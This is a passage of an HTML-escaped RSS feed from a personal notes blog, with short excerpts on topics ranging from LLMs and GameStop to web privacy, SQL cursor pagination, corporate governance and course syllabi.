Data, Extraction, Semantic Graph, and Database Management; Security; Software
Engineering and Programming Languages; Systems; Misc.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='GoogleResearch2021'&gt;
 
 Research Scholar Program recipients&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://research.google/outreach/research-scholar-program/recipients/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=research.google" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;research.google&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Apr 7, 2021.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>LLMs: Stochastic Parrots 🦜 and How (Not) to Use Them</title><link>https://www.curiosities.dev/computer-science/large-language-models/stochastic-parrots/</link><pubDate>Wed, 03 Mar 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/large-language-models/stochastic-parrots/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Bender2021"&gt;&lt;/a&gt;&lt;/span&gt; was written in a period when NLP practitioners are
producing bigger (# of parameters; size of training data) language models (LMs),
and pushing the top scores on benchmarks. The paper itself was controversial
because it led to Gebru being fired from Google, following disagreements with
her managers on conditions (withdraw, or remove Google-affiliated authors) for
publishing the paper. &lt;span class="citation-ref"&gt;&lt;a href="#WikiGebru"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;A lot changed since mid-2021, when I initially wrote this page. OpenAI&amp;rsquo;s ChatGPT
took the world by storm &amp;ndash; reaching 123m MAU less than 3 months after launch and
becoming the fastest-growing consumer application in history (TikTok took 9
months to hit 100m MAU). &lt;span class="citation-ref"&gt;&lt;a href="#Wodecki2023"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>[ToDo] [MAS S67] The Great Problems</title><link>https://www.curiosities.dev/todo/general-courses/the-great-problems/</link><pubDate>Mon, 01 Feb 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/general-courses/the-great-problems/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='greatProblemsMIT'&gt;
 
 The Great Problems&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Kevin M. Esvelt; Rosalind Picard; Neil Buddy Shah; Amy Smith; Anne White; Kai Steinmetz; David Keith; Toby Ord; Megan Palmer.
 
 
 MIT.
 
 
 &lt;a href="https://canvas.mit.edu/courses/7934/assignments/syllabus" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=canvas.mit.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;canvas.mit.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 2021.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Introduction: Triumphs and Tragedies&lt;/p&gt;
&lt;p&gt;Great Problem: Mental Health&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Finland is the happiest country in the world, and the Finns aren&amp;rsquo;t happy about it.&lt;/li&gt;
&lt;li&gt;Burden of Depressive Disorders by Country, Sex, Age and Year&lt;/li&gt;
&lt;li&gt;Development, Freedom, and Rising Happines: A Global Perspective (1981 - 2007)&lt;/li&gt;
&lt;li&gt;How to Be Happy&lt;/li&gt;
&lt;li&gt;A Nihilist&amp;rsquo;s Guide to Meaning&lt;/li&gt;
&lt;li&gt;How Bad Are Things?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Technological Trajectories&lt;/p&gt;</description></item><item><title>GME ✋ ... 🚀🚀🚀 ... 💎 ✋</title><link>https://www.curiosities.dev/business/crowds-and-rationalism/2021-01-30-gme-to-the-moon/</link><pubDate>Sat, 30 Jan 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/crowds-and-rationalism/2021-01-30-gme-to-the-moon/</guid><description>&lt;figure&gt;
 &lt;img src='https://www.curiosities.dev/img/trading-and-investing/gme-jan-2021.png' alt='$GME price in Jan-Feb 2021. Image Credits: https://finance.yahoo.com/chart/GME' loading="lazy"&gt;
 &lt;figcaption&gt;$GME price in Jan-Feb 2021. Image Credits: https://finance.yahoo.com/chart/GME&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Folks like Melvin Capital and Citron Research think that GameStop is a dying
business. The general public is optimistic though, be it for 
&lt;a href="https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-1-stocks-and-their-value/malkiel-01-firm-foundations-and-castle-in-the-air/#the-firm-foundation-theory"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 fundamental
reasons
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 (e.g. Ryan Cohen (chewy.com) will help GameStop can re-invent itself in the
online space &lt;span class="citation-ref"&gt;&lt;a href="#Cohen2020"&gt;&lt;/a&gt;&lt;/span&gt;), or for personal
amusement, or FOMO. In particular, /r/wallstreetbets members are buying lots of

&lt;a href="https://www.curiosities.dev/business/2020-05-02-wall-street-101/#options-supa-hrefsecintrotooptionsasup"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 call options
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
. &lt;span class="citation-ref"&gt;&lt;a href="#Levine2021"&gt;&lt;/a&gt;&lt;/span&gt; Or maybe it&amp;rsquo;s rage against the financial
machine. &lt;span class="citation-ref"&gt;&lt;a href="#Auther2021"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Wall Street Potpourri</title><link>https://www.curiosities.dev/business/2021-01-30-potpurri/</link><pubDate>Sat, 30 Jan 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2021-01-30-potpurri/</guid><description>&lt;h2 id="maximizing-the-value-for-shareholders"&gt;Maximizing the Value for Shareholders&lt;/h2&gt;
&lt;p&gt;Suing a company for not following its code of ethics and therefore misleading
investors doesn&amp;rsquo;t fly, but Signet Jewelers settled for $240m &lt;span class="citation-ref"&gt;&lt;a href="#Polk2020"&gt;&lt;/a&gt;&lt;/span&gt;. Signet&amp;rsquo;s 70k female employees sued for discrimination,
but the class action is yet to be resolved. &lt;span class="citation-ref"&gt;&lt;a href="#Levine2020"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;
&lt;a href="http://tomtoro.com/cartoons/#jp-carousel-135"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Tom Toro&amp;rsquo;s New Yorker
cartoon
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
: &lt;em&gt;Yes, the planet got
destroyed. But for a beautiful moment in time we created a lot of value for
shareholders.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Research on Privacy Enhancing Techniques</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/privacy-enhancing-tech/2022-01-23-lit-review/</link><pubDate>Sat, 23 Jan 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/privacy-enhancing-tech/2022-01-23-lit-review/</guid><description>&lt;h2 id="journals"&gt;Journals&lt;/h2&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Mireshghallah2021"&gt;&lt;/a&gt;&lt;/span&gt; note that prediction services can still make
accurate predictions using a fraction of the data collected from a user device.
They propose Cloak, which suppresses non-pertinent features (i.e. those features
which can consistently tolerate addition of noise without degrading utility) to
the prediction task. Cloak has a provable degree of privacy, and unlike
cryptographic techniques, does not degrade prediction latency. Using the
training data, labels, a pre-trained model and a privacy-utility knob, they (1)
find the pertinent features through perturbation training, and (2) learn
utility-preserving constant values for suppressing the non-pertinent data.
During the inference phase, they efficiently compute a sifted representation
which is sent to the service provider.&lt;/p&gt;</description></item><item><title>The Future of Corporate Governance Part I: The Problem of Twelve</title><link>https://www.curiosities.dev/business/2018-10-03-problem-of-12/</link><pubDate>Sat, 23 Jan 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2018-10-03-problem-of-12/</guid><description>&lt;p&gt;The Problem of Twelve: In the near future, roughly 12 individuals will have
practical power over majority of US public companies.&lt;/p&gt;
&lt;h2 id="a-short-history-of-corporations"&gt;A Short History of Corporations &lt;span class="citation-ref"&gt;&lt;a href="#Berle1932"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;In the first stage, entrepreneurs get money from savings, &amp;ldquo;friends, family, and
fools&amp;rdquo;, and VCs. Securities law restricts this to sophisticated investors only.&lt;/p&gt;
&lt;p&gt;On generating revenue and stability, the entrepreneur takes the firm public
(IPO) under oversight from the SEC. Ownership is separated from control, e.g. a
board of directors accountable to shareholders. VCs start selling off their
stake. Given the imposed restrictions, few investors would buy more than 5%.&lt;/p&gt;</description></item><item><title>Privacy on the Web</title><link>https://www.curiosities.dev/computer-science/www/2021-01-05-privacy-on-the-web/</link><pubDate>Mon, 04 Jan 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/www/2021-01-05-privacy-on-the-web/</guid><description>&lt;p&gt;One can use &lt;code&gt;curl -v &amp;lt;url&amp;gt;&lt;/code&gt; to see all of the redirections and cookies set.
&lt;span class="citation-ref"&gt;&lt;a href="#milesURLShortenersSetAdTrackingCookies"&gt;&lt;/a&gt;&lt;/span&gt; found that generating a tiny
URL for Zoom links gives a URL that first goes to redirect.viglink.com.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;I tried this on 
&lt;a href="https://tinyurl.com/yyte6pqv"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 https://tinyurl.com/yyte6pqv
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, which points to

&lt;a href="https://www.c13u.com/socioeconomics/2020-11-21-experiments-in-social-economics/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 https://www.c13u.com/socioeconomics/2020-11-21-experiments-in-social-economics/
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
,
but didn&amp;rsquo;t observe any 3rd party cookies. &lt;code&gt;tinyurl.com&lt;/code&gt; did set a cookie, but
that&amp;rsquo;s probably expected.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#yaoFLOC"&gt;&lt;/a&gt;&lt;/span&gt; proposes Federated Learning of Cohorts, which aims to
enable ad-targeting based on people&amp;rsquo;s general browsing interest without exposing
the exact browsing history.&lt;/p&gt;</description></item><item><title>Computer Graphics Potpourri</title><link>https://www.curiosities.dev/computer-science/computer-graphics/2021-01-03-potpourri/</link><pubDate>Sun, 03 Jan 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/computer-graphics/2021-01-03-potpourri/</guid><description>&lt;h2 id="retained-mode-vs-immediate-mode"&gt;Retained Mode vs. Immediate Mode&lt;/h2&gt;
&lt;p&gt;In retained mode, the graphics library exposes an API to the application for
building/updating a scene. However, the graphics library is in charge of issuing
drawing commands. In contrast, an immediate-mode API allows the application to
issue the drawing commands. Retained-mode APIs abstract away initialization,
state maintenance and cleanup, but uses more memory. Immediate-mode APIs allow
for more targeted optimizations. &lt;span class="citation-ref"&gt;&lt;a href="#MicrosoftDocs"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;
&lt;a href="https://reactjs.org/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 https://reactjs.org/
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 is one of the more popular retained-mode web APIs.&lt;/p&gt;</description></item><item><title>Information Retrieval Medley</title><link>https://www.curiosities.dev/computer-science/2021-01-03-information-retrieval-medley/</link><pubDate>Sun, 03 Jan 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/2021-01-03-information-retrieval-medley/</guid><description>&lt;h2 id="pagination-with-relative-cursors"&gt;Pagination with Relative Cursors &lt;span class="citation-ref"&gt;&lt;a href="#Martin2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Exposing pagination through URLs like &lt;em&gt;example.com/items?page=25&amp;amp;limit=100&lt;/em&gt;
leads to SQL like &lt;code&gt;SELECT * from 'items' LIMIT 100 OFFSET 2400;&lt;/code&gt;, which
inefficiently goes through 2,500 records and discards the first 2,400.&lt;/p&gt;
&lt;p&gt;With relative cursors, we have URLs like &lt;em&gt;example.com/items?limit=50&amp;amp;lastID=XXX&lt;/em&gt;,
which leads to SQL like
&lt;code&gt;SELECT * from 'items' WHERE 'id' &amp;gt; XXX ORDER BY 'id' ASC LIMIT 50&lt;/code&gt;, and this is
more efficient, assuming there are indexes for &lt;code&gt;id&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Writing for Software Development</title><link>https://www.curiosities.dev/writing/2021-01-03-writing-for-software-development/</link><pubDate>Sun, 03 Jan 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/writing/2021-01-03-writing-for-software-development/</guid><description>&lt;h2 id="must-and-must-not-on-writing-documentation"&gt;MUST and MUST NOT; On Writing Documentation &lt;span class="citation-ref"&gt;&lt;a href="#Vicious2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Revise documentation, many times, and on separate days to catch confusing parts.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Beware of ambiguities, e.g. X may not do Y. Refer to definitions, e.g.

&lt;a href="https://tools.ietf.org/html/rfc2119"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 RFC 2119
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Put yourself into different roles, e.g. the person just looking for samples,
the person who wants to read up on every nook and crany, the person who has no
technical background etc.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;In writing class, I was taught to target a specific reader. The above suggests
that I target multiple types of readers with the same piece. I&amp;rsquo;m hesitant to
overrule what I learnt. Or is it more that the same reader will have different
objectives in each read? Sometimes I read docs in order to understand the design;
other times, I&amp;rsquo;m in search of a quick example to get the syntax.&lt;/p&gt;</description></item><item><title>Lean Startups vs. VC Money</title><link>https://www.curiosities.dev/business/on-starting-a-business/2020-12-18-lean-vs-vc-money/</link><pubDate>Fri, 18 Dec 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/on-starting-a-business/2020-12-18-lean-vs-vc-money/</guid><description>&lt;p&gt;20 years later, JetBrains is valued at $7b without taking VC money. HN users
praise JetBrains for being user-focused, and the prevailing argument is that
VC money comes with growth-hacking attached. &lt;span class="citation-ref"&gt;&lt;a href="#Khrennikov2020"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="is-the-lean-startup-dead"&gt;Is the Lean Startup Dead?&lt;/h2&gt;
&lt;p&gt;Katzenberg (Paramount, Disney Studios &amp;amp; DreamWorks) has raised $1.75b for NewTV, a startup banking on consumers wanting a subscription for 10-minute programs on mobile.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;They renamed to 
&lt;a href="https://quibi.com/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 quibi.com/
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
. At least that makes them more searchable on Google. &amp;ldquo;NewTV&amp;rdquo; searches lead to 
&lt;a href="https://newtv.org/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 newtv.org
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, a community media center for the residents of Newton, Massachusetts.&lt;/p&gt;</description></item><item><title>On Political Correctness</title><link>https://www.curiosities.dev/politics-and-governance/2021-09-03-political-correctness/</link><pubDate>Tue, 15 Dec 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/2021-09-03-political-correctness/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;From my vantage point, it seems there are two camps. But reality is often a
shade of grey. Interested in various arguments that frequently arise in this
area. I have my opinions/biases, but nothing that I can defend rigorously.&lt;/p&gt;
&lt;p&gt;Some (most?) of these claims are supported by anecdotal evidence, 
&lt;a href="https://www.curiosities.dev/politics-and-governance/2015-why-people-are-irrational-about-politics/#mechanisms-of-belief-fixation"
 
 
 
 &gt;
 which is an
avenue for belief fixation, and therefore makes it hard to come to a
resolution
 
&lt;/a&gt;
.&lt;/p&gt;
&lt;p&gt;I don&amp;rsquo;t know if it&amp;rsquo;s because anti-PC material is more viral, but most of the
prominent publications are either anti-PC, or anti-anti-PC. Not finding enough
pro-PC publications.&lt;/p&gt;</description></item><item><title>Politics Potpourri</title><link>https://www.curiosities.dev/politics-and-governance/2020-12-15-potpourri/</link><pubDate>Tue, 15 Dec 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/2020-12-15-potpourri/</guid><description>&lt;h2 id="state-surveillance"&gt;State Surveillance&lt;/h2&gt;
&lt;p&gt;In the aftermath of the Capitol insurrection, FBI was contacting people whose
cellphones pinged cell towers near the Capitol during the riots.
&lt;span class="citation-ref"&gt;&lt;a href="#Leshan2021"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/state-surveillance"&gt;#state-surveillance&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;A powered mobile phone always sends signals to one of the closest base stations.
Given multiple base stations, the angle and time of arrival, and location
signatures of each cell location can be used to locate a mobile device. The
higher the density of cell towers, the more precise the calculated location.
&lt;span class="citation-ref"&gt;&lt;a href="#WikiPhoneTracking"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>On Running a Business</title><link>https://www.curiosities.dev/business/2020-11-29-advice-on-running-a-business/</link><pubDate>Sun, 29 Nov 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2020-11-29-advice-on-running-a-business/</guid><description>&lt;p&gt;Consultants are not well suited for strategy (you probably have a deeper
understanding). They are also an expensive way of proving your point to
management. However, they are good for emergency horsepower, e.g. data analysis,
and for primary research within your industry (they probably have a broader
understanding). &lt;span class="citation-ref"&gt;&lt;a href="#Moorthy2013"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Having a competitive advantage may reduce the incentive to explore other ideas,
especially ones that conflict with your chosen [successful] strategy.
Additionally, having to maintain/exceed quarterly numbers dissuade incumbents
from risk taking. &lt;span class="citation-ref"&gt;&lt;a href="#Housel2018"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Experiments/Theories in Socioeconomics</title><link>https://www.curiosities.dev/socioeconomics/2020-11-21-experiments-in-social-economics/</link><pubDate>Sat, 21 Nov 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/socioeconomics/2020-11-21-experiments-in-social-economics/</guid><description>&lt;h2 id="programmable-money"&gt;Programmable Money&lt;/h2&gt;
&lt;p&gt;South Korea&amp;rsquo;s COVID-19 stimulus payments were programmed to expire in Aug 2020,
and could only be spent at qualifying shops. Australia&amp;rsquo;s cashless welfare card
[currently in pilot stages] cannot be withdrawn as cash, nor used at alcohol,
tobacco and gambling joints. &lt;span class="citation-ref"&gt;&lt;a href="#Koning2020"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Monzo, a UK-based digital-first mobile baking app, supports IFTTT recipes. This
enables budgeting logic, &amp;ldquo;If I spend at KFC, then move $5 to my penalty pot&amp;rdquo;.
&lt;span class="citation-ref"&gt;&lt;a href="#Elsden2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="the-self-esteem-craze-in-america"&gt;The Self-Esteem Craze in America&lt;/h2&gt;
&lt;p&gt;In the 80s and 90s, there was research that low self-esteem was related to
undesirable results, but there wasn&amp;rsquo;t any conclusive work that high esteem
&lt;em&gt;causes&lt;/em&gt; good outcomes. The self-esteem craze was defined by a simple inspiring
message, a lot of half-baked research, prevalent confirmation bias,
cottage-industry (books, videos, seminars). Self-esteem grew into a panacea for
academic performance, crime, teen pregnancy until more rigorous research arrived.
Similar overhyped[?] panaceas: power posing, growth mindset, grit.
&lt;span class="citation-ref"&gt;&lt;a href="#Singal2017"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>On Systems Programming</title><link>https://www.curiosities.dev/computer-science/2020-11-21-on-systems-programming/</link><pubDate>Sat, 21 Nov 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/2020-11-21-on-systems-programming/</guid><description>&lt;h2 id="garbage-collection"&gt;Garbage Collection&lt;/h2&gt;
&lt;p&gt;Garbage Collection is about simulating a computer with infinite memory.
Consequently, if you have more RAM than your program will ever need, then a null
garbage collector is a valid one. &lt;span class="citation-ref"&gt;&lt;a href="#Chen2010"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span class="citation-ref"&gt;&lt;a href="#Mitchell1995"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="traits-of-beautiful-code"&gt;Traits of Beautiful Code &lt;span class="citation-ref"&gt;&lt;a href="#matsumoto"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#matsumoto"&gt;&lt;/a&gt;&lt;/span&gt; is the chief designer of Ruby, and thus the frequent
illustrations and praises for Ruby.&lt;/p&gt;
&lt;p&gt;How do other chief designers explain their rationale? For instance, what would
Java&amp;rsquo;s designer say to &lt;span class="citation-ref"&gt;&lt;a href="#matsumoto"&gt;&lt;/a&gt;&lt;/span&gt;&amp;rsquo;s criticism?&lt;/p&gt;</description></item><item><title>Software Dependencies</title><link>https://www.curiosities.dev/computer-science/2020-11-14-software-dependencies/</link><pubDate>Sat, 14 Nov 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/2020-11-14-software-dependencies/</guid><description>&lt;h2 id="dependency-management"&gt;Dependency Management&lt;/h2&gt;
&lt;p&gt;Golang introduced a new library referencing mode to overcome limitations of the
old one. While the two library modes are supported by Golang, they are
incompatible, e.g. dependency management (DM) issues, reference inconsistencies,
build failures, etc. &lt;span class="citation-ref"&gt;&lt;a href="#Wang2021"&gt;&lt;/a&gt;&lt;/span&gt; did an empirical study that resulted
in HERO, an automated technique to detect DM issues and suggest fixes. Applied
to 19k Golang projects, HERO detected 98.5% on a DM issue benchmark, and found
2,422 new DM issues in 2,356 Golang projects. They reported 280 issues, and
almost all of the fixes have adopted HERO&amp;rsquo;s fixing suggestions.&lt;/p&gt;</description></item><item><title>ML Usefulness to a Dev</title><link>https://www.curiosities.dev/computer-science/machine-learning/ml-crash-course/ml-concepts/01-introduction-to-ml/</link><pubDate>Sat, 24 Oct 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/ml-crash-course/ml-concepts/01-introduction-to-ml/</guid><description>&lt;p&gt;
&lt;a href="https://developers.google.com/machine-learning/crash-course/ml-intro"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Link to Original Video
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;h2 id="ml-usefulness-to-a-dev"&gt;ML Usefulness to a Dev&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Reduce time spent programming, e.g. manually crafted spellchecker with rules of thumb vs. feeding ML model some examples.&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;How many words are there in English? Is it hard to have a huge set of all the possible words? How do spellcheckers do it?&lt;/p&gt;
&lt;p&gt;Hunspell is the most popular OSS &lt;span class="citation-ref"&gt;&lt;a href="#hunspellRepo"&gt;&lt;/a&gt;&lt;/span&gt;, and it was being used by Chromium &lt;span class="citation-ref"&gt;&lt;a href="#chromiumExtendHunspell"&gt;&lt;/a&gt;&lt;/span&gt;, but on Chromium for Windows, the Windows Spellcheck is used &lt;span class="citation-ref"&gt;&lt;a href="#chromiumWindowsSpellcheck"&gt;&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;</description></item><item><title>ML Usefulness to a Dev</title><link>https://www.curiosities.dev/computer-science/machine-learning/perspectives-on-ml/gdev-intro-to-ml/</link><pubDate>Sat, 24 Oct 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/perspectives-on-ml/gdev-intro-to-ml/</guid><description>&lt;p&gt;
&lt;a href="https://developers.google.com/machine-learning/crash-course/ml-intro"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Link to Original Video
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;h2 id="ml-usefulness-to-a-dev"&gt;ML Usefulness to a Dev&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Reduce time spent programming, e.g. manually crafted spellchecker with rules of thumb vs. feeding ML model some examples.&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;How many words are there in English? Is it hard to have a huge set of all the possible words? How do spellcheckers do it?&lt;/p&gt;
&lt;p&gt;Hunspell is the most popular OSS &lt;span class="citation-ref"&gt;&lt;a href="#hunspellRepo"&gt;&lt;/a&gt;&lt;/span&gt;, and it was being used by Chromium &lt;span class="citation-ref"&gt;&lt;a href="#chromiumExtendHunspell"&gt;&lt;/a&gt;&lt;/span&gt;, but on Chromium for Windows, the Windows Spellcheck is used &lt;span class="citation-ref"&gt;&lt;a href="#chromiumWindowsSpellcheck"&gt;&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;</description></item><item><title>[ToDo] CPSC 465: Theory of Distributed Systems</title><link>https://www.curiosities.dev/todo/computer-science/theory-of-distributed-systems/</link><pubDate>Wed, 07 Oct 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/theory-of-distributed-systems/</guid><description>&lt;p&gt;Introduction&lt;/p&gt;
&lt;p&gt;Message Passing&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Model&lt;/li&gt;
&lt;li&gt;Broadcast and Convergecast&lt;/li&gt;
&lt;li&gt;Distributed Breadth-First Search&lt;/li&gt;
&lt;li&gt;Leader Election&lt;/li&gt;
&lt;li&gt;Logical Clocks&lt;/li&gt;
&lt;li&gt;Synchronizers&lt;/li&gt;
&lt;li&gt;Coordinated Attack&lt;/li&gt;
&lt;li&gt;Synchronous Agreement&lt;/li&gt;
&lt;li&gt;Byzantine Agreement&lt;/li&gt;
&lt;li&gt;Impossibility of Asynchronous Agreement&lt;/li&gt;
&lt;li&gt;Paxos&lt;/li&gt;
&lt;li&gt;Failure Detectors&lt;/li&gt;
&lt;li&gt;Quorum Systems&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Shared Memory&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Model&lt;/li&gt;
&lt;li&gt;Distributed Shared Memory&lt;/li&gt;
&lt;li&gt;Mutual Exclusion&lt;/li&gt;
&lt;li&gt;The Wait-Free Hierarchy&lt;/li&gt;
&lt;li&gt;Atomic Snapshots&lt;/li&gt;
&lt;li&gt;Lower Bounds on Perturbable Objects&lt;/li&gt;
&lt;li&gt;Restricted-Use Objects&lt;/li&gt;
&lt;li&gt;Common2&lt;/li&gt;
&lt;li&gt;Randomized Consensus and Test-and-Set&lt;/li&gt;
&lt;li&gt;Renaming&lt;/li&gt;
&lt;li&gt;Software Transactional Memory&lt;/li&gt;
&lt;li&gt;Obstruction-Freedom&lt;/li&gt;
&lt;li&gt;BG Simulation&lt;/li&gt;
&lt;li&gt;Topological Methods&lt;/li&gt;
